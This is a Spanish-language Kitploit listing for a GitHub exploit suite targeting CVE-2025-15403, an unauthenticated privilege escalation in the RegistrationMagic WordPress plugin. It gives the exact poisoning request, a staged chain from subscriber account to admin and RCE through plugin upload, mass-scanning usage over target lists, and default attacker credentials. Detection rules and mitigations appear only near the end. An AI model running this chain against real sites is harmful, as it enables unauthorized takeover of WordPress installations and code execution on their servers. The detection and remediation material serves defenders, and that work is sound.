Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - Escalada de privilegios no autenticada vía admin_order | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2025-15403
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Escalada de privilegios no autenticada vía admin_order

Ver Repositorio
1hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Escalada de Privilegios No Autenticada vía admin_order

root@kitploit:~
 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 La información exclusiva llega aquí primero. Sigue a @KNxploited en Telegram: divulgaciones precisas de CVE, exploits funcionales e investigación profunda de vulnerabilidades. El canal para quienes no esperan las noticias, sino que las crean.


🧠 Resumen

CVE-2025-15403 es una vulnerabilidad de Escalada de Privilegios Crítica con CVSS 9.8 en el plugin RegistrationMagic para WordPress.

La falla existe en la función add_menu del plugin, expuesta sin autenticación a través de la acción AJAX rm_user_exists. Al inyectar un slug vacío en el parámetro order junto con el flag enable_admin_order=yes, un atacante manipula la lógica interna de generación de menús del plugin. Cuando el menú de administración se construye posteriormente, el plugin llama silenciosamente a add_cap('manage_options') sobre el rol objetivo, elevando cualquier cuenta de nivel suscriptor a capacidad administrativa completa.


💀 Análisis Profundo de la Vulnerabilidad

La causa raíz es que la función add_menu es accesible sin autenticación a través de rm_user_exists, combinada con una validación nula del slug admin_order:

root@kitploit:~
// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← User-controlled, NOT sanitized
    $role_key = /* derived from POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Stores attacker-controlled order into plugin options
        update_option('rm_admin_order', $order);  // e.g. ",menu1" → empty first slug
    }
}

// Later, when admin menu is being built...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Poisoned by attacker
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Empty slug triggers unconditional capability grant
            $role->add_cap('manage_options');  // ← FULL ADMIN CAPABILITY ADDED
        }
    }
}

Por qué esto es crítico:

  • wp_ajax_nopriv_* = cero autenticación necesaria para envenenar la opción
  • El slug vacío en order=,menu1 supera la comprobación empty(), activando add_cap('manage_options')
  • manage_options es la capacidad más alta de WordPress: equivale a Administrador
  • Cualquier cuenta de suscriptor existente obtiene inmediatamente derechos administrativos completos en la siguiente carga del menú de administración
  • La etapa AJAX no requiere autenticación previa, lo que hace que toda la cadena tenga una barrera casi nula

⚔️ Cadena de Explotación

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 1 — Unauthenticated Option Poisoning                             ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← empty first element = empty slug
  _Subscriber       = 1                  ← target role key
  restore           = false
  enable_admin_order= yes

Response: HTTP 200 (any non-blocked response = option poisoned)

  ↓ Plugin stores order=",menu1" into wp_options
  ↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 2 — Account Acquisition (Subscriber)                             ║
╚══════════════════════════════════════════════════════════════════════════╝

Option A — Register via the site's registration form (Mode 0):
  GET  /wp-login.php?action=register  → smart form detection
  POST → create subscriber account
  Credentials: NXploited / xplpass123

Option B — Use an existing subscriber account.

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 3 — Login + Capability Harvest                                   ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
Subscriber account now carries manage_options → full admin panel accessible

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 4 — Deep Verification & RCE via Plugin Upload                    ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → Admin dashboard accessible ✔️
GET  /wp-admin/plugin-install.php        → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → Plugin uploaded & executed ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     Response contains "Nxploited"       → CONFIRMED RCE ✔️

🎯 Modos de Operación

Este conjunto de exploits proporciona tres modos distintos para cubrir todo el ciclo de vida del ataque:


⚙️ Requisitos

root@kitploit:~
pip install requests colorama urllib3

Se requiere Python 3.8+. Se recomienda Python 3.10+ (usa sugerencias de tipo unión X | Y).


📂 Estructura de Archivos

root@kitploit:~
CVE-2025-15403/
├── CVE-2025-15403.py                 # Main exploit suite
├── list.txt                          # Target URLs — one per line
│
├── rm_register_results.txt           # Mode 0: successful registrations
├── rm_exploit_results.txt            # Mode 1 & 2: primitive fire log
├── rm_admin_verify.txt               # Mode 2: login + admin verification log
├── rm_plugin_uploads.txt             # Mode 2: plugin upload attempt log
│
├── rm_admin_dashboard_success.txt    # ✔ Sites where admin dashboard confirmed
├── rm_plugin_install_access.txt      # ✔ Sites where plugin-install page accessible
└── rm_plugin_rce_success.txt         # ✔ Sites where RCE via plugin upload confirmed

Los tres archivos _success al final representan niveles graduados de compromiso: cada uno se escribe de forma independiente en cuanto se confirma su condición.


🚀 Uso

Paso 1 — Preparar Objetivos

Crea list.txt con una URL o nombre de host por línea:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com

Los nombres de host sin esquema reciben automáticamente el prefijo https://. Las instalaciones de WordPress en subdirectorios (p. ej. /wordpress) se detectan y manejan automáticamente.


Paso 2 — Ejecutar el Conjunto

root@kitploit:~
python CVE-2025-15403.py

Se te pedirán interactivamente todos los parámetros. Ejemplo de sesión para el Modo 2:

root@kitploit:~
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes

Paso 3 — Monitorear la Salida en Vivo

root@kitploit:~
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK   | REG: SKIP | LOGIN: OK   | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK   | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: -    | ACCESS: NO HIT

📊 Referencia de Archivos de Salida

rm_admin_dashboard_success.txt

Sitios donde la cuenta de suscriptor accedió con éxito a /wp-admin/ tras la escalada de privilegios:

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard

rm_plugin_install_access.txt

Sitios donde la página de instalación de plugins era accesible (confirma manage_options):

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access

rm_plugin_rce_success.txt

Sitios donde se subió y ejecutó un plugin de prueba: RCE confirmado:

root@kitploit:~
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload

🖥️ Referencia de Parámetros del Script


🔬 Lógica de Verificación (Modo 2)

El Modo 2 realiza una verificación graduada en tres etapas: cada etapa es independiente y escribe su propio archivo de resultados:

root@kitploit:~
Stage 1 — Admin Dashboard
  GET /wp-admin/
  GET /wp-admin/index.php
  GET /wp-admin/users.php
  Check for: "dashboard", "adminmenu", "manage_options", "plugins.php"
  ✔ → writes to rm_admin_dashboard_success.txt

Stage 2 — Plugin Install Page Access
  GET /wp-admin/plugin-install.php
  GET /wp-admin/plugin-install.php?tab=upload
  Check for: "upload-plugin", "plugin-upload-form", "pluginzip"
  ✔ → writes to rm_plugin_install_access.txt

Stage 3 — Real Plugin Upload + Execution (RCE Proof)
  Extract _wpnonce from plugin-install page
  POST /wp-admin/update.php?action=upload-plugin
       pluginzip = Nxploited.zip (in-memory generated)
  GET  /wp-content/plugins/Nxploited/hello.php
  Check response body contains "Nxploited"
  ✔ → writes to rm_plugin_rce_success.txt

Cada etapa que se supera se registra de forma independiente: un objetivo que supera la Etapa 1 pero no la Etapa 3 queda igualmente registrado en rm_admin_dashboard_success.txt.


🔍 Motor de Registro Inteligente (Modo 0)

El Modo 0 utiliza un analizador HTML personalizado para detectar y enviar automáticamente los formularios de registro de WordPress, incluidos los formularios personalizados de RegistrationMagic:

root@kitploit:~
Probe URLs (in order):
  /wp-login.php?action=register
  /register/
  /signup/
  /wp-signup.php
  /wp-login.php

For each page:
  → Parse all <form> elements
  → Score each form (0–200 points):
      +100  "user_login" + "user_email" fields present
      + 60  Email + username-like fields present
      + 30  rm_* prefixed input fields (RegistrationMagic specific)
      + 20  form id/class contains "register" / "signup"
      + 10  Page body mentions "register" / "sign up"
  → Submit highest-scoring form (threshold: 40+)
  → Verify success via response body / redirect URL

📊 Firma de Detección

Patrón de red generado por el exploit, para defensores y autores de WAF/IDS:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes

Regla WAF / IDS (seudocódigo):

root@kitploit:~
IF  request.method == POST
AND request.path   == "/wp-admin/admin-ajax.php"
AND request.body   CONTAINS "rm_user_exists"
AND request.body   CONTAINS "rm_options_admin_menu"
AND request.body   CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2025-15403)

Detección adicional: envenenamiento de la opción:

root@kitploit:~
Monitor wp_options table:
  IF option_name = "rm_admin_order"
  AND option_value STARTS WITH ","
  THEN ALERT — potential CVE-2025-15403 exploitation

🛡️ Mitigación y Remediación

Si eres propietario de un sitio, desarrollador o defensor, actúa de inmediato:

  • ✅ Actualiza RegistrationMagic a una versión superior a 6.0.7.1
  • ✅ Desactiva y elimina el plugin hasta que haya una versión parcheada confirmada
  • ✅ Audita la tabla wp_options: comprueba el valor de rm_admin_order en busca de entradas sospechosas (p. ej., que comiencen con ,)
  • ✅ Audita a todos los usuarios de WordPress: elimina o degrada cualquier cuenta no autorizada con la capacidad manage_options
  • ✅ Añade comprobaciones de capacidad a todos los manejadores wp_ajax_nopriv_*: nunca expongas funciones de escritura de opciones sin autenticación
  • ✅ Valida y sane el parámetro order: rechaza valores que contengan segmentos de slug vacíos
  • ✅ Bloquea las solicitudes POST no autenticadas a admin-ajax.php que contengan rm_options_admin_menu a nivel de WAF
  • ✅ Monitorea los registros de WordPress y del servidor para detectar llamadas a la acción AJAX rm_user_exists desde fuentes no autenticadas

⚠️ Aviso Legal

root@kitploit:~
ESTA HERRAMIENTA SE PROPORCIONA ESTRICTAMENTE CON FINES EDUCATIVOS, DE PRUEBAS DE PENETRACIÓN AUTORIZADAS E INVESTIGACIÓN DE SEGURIDAD ÚNICAMENTE.

Al descargar, ejecutar o modificar este script, aceptas explícitamente:

  • Tienes AUTORIZACIÓN EXPLÍCITA Y POR ESCRITO del propietario de cada
    sistema objetivo que pruebes. Sin excepciones. Sin suposiciones.

  • Operas dentro de un compromiso de pruebas de penetración formalmente
    delimitado y autorizado, o en un entorno de laboratorio controlado que posees.

  • NO desplegarás esta herramienta contra ningún sistema, red o
    infraestructura sin permiso legal documentado.

  • Nxploited y todos los colaboradores NO asumen NINGUNA responsabilidad por
    el uso no autorizado, la pérdida de datos, los daños al sistema, los
    procedimientos legales o el enjuiciamiento penal derivados del uso de esta
    herramienta, en cualquier forma.

El uso no autorizado de este exploit constituye un delito penal según:
  — Computer Fraud and Abuse Act (CFAA), EE. UU.
  — Computer Misuse Act (CMA), Reino Unido
  — Directiva de la UE 2013/40/UE sobre ataques contra sistemas de información
  — Ley Anticiberdelincuencia de Arabia Saudita (No. M/17)
  — Y toda la legislación nacional e internacional equivalente sobre delitos informáticos.

ÚSALA RESPONSABLEMENTE. HACKEA ÉTICAMENTE. DIVULGA RESPONSABLEMENTE.

👤 Autor

AliasNxploited
Telegram@KNxploited
GitHubgithub.com/Nxploited

🔔 Sigue a @KNxploited en Telegram CVEs recientes. Exploits funcionales. Sin ruido. Sin demora. El canal donde los investigadores serios se mantienen afilados.


Ingeniería de precisión por Nxploited · Solo para investigación de seguridad autorizada · CVSS 9.8 Crítico
Descargar herramienta
CampoDetalles
ID CVECVE-2025-15403
PluginRegistrationMagic
Slugregistrationmagic / custom-registration-form-builder-with-submission-manager
Versiones AfectadasTodas las versiones hasta la 6.0.7.1 inclusive
Tipo de VulnerabilidadEscalada de Privilegios No Autenticada
Requisito de AtaqueEtapa AJAX: Ninguno. Explotación: Cuenta de suscriptor
Vector de AtaqueRed
Puntuación CVSS 3.19.8 CRÍTICA
Vector CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ImpactoToma de control total del Administrador de WordPress
InvestigadorNxploited
ModoNombreDescripción
0Solo RegistroDetección inteligente de formularios de WordPress + registro de cuenta de suscriptor
1Solo ExploitDispara la primitiva AJAX no autenticada para envenenar admin_order
2Exploit + Login + VerificaciónCadena completa: primitiva → login → panel de administración → instalación de plugin → RCE
DependenciaPropósito
requestsSesiones HTTP, manejo de cookies, seguimiento de redirecciones
coloramaSalida de terminal coloreada multiplataforma
urllib3Supresión de advertencias SSL para certificados autofirmados
concurrent.futuresPool de hilos para escaneo multiobjetivo de alto rendimiento
zipfileGeneración en memoria del ZIP del plugin de prueba para verificar RCE
html.parserDetección inteligente de formularios de registro y extracción de campos
ColorEtiquetaSignificado
🔵 CianinfoInformativo: inicio de modo, configuración
🟢 VerdeokÉxito total: acceso de administrador o RCE confirmado
🟡 AmarillowarnResultado parcial: primitiva OK pero login fallido, etc.
🔴 RojoerrFallo grave: archivo no encontrado, excepción, bloqueo
ParámetroPredeterminadoDescripción
Modo0Modo de ataque: 0 = Registrar, 1 = Exploit, 2 = Cadena completa
Archivo de objetivoslist.txtArchivo que contiene las URLs objetivo
Hilos5 (sin máximo fijo)Trabajadores concurrentes de ThreadPoolExecutor
Tiempo de espera10 segundosTiempo de espera HTTP por solicitud
Clave de rol_SubscriberRol de WordPress a escalar (_Editor, _Author, etc.)
Nombre de usuarioNXploitedCuenta a registrar / con la que iniciar sesión
Contraseñaxplpass123Contraseña de la cuenta
Enviar primitivayesSi se dispara la etapa AJAX antes del login en el Modo 2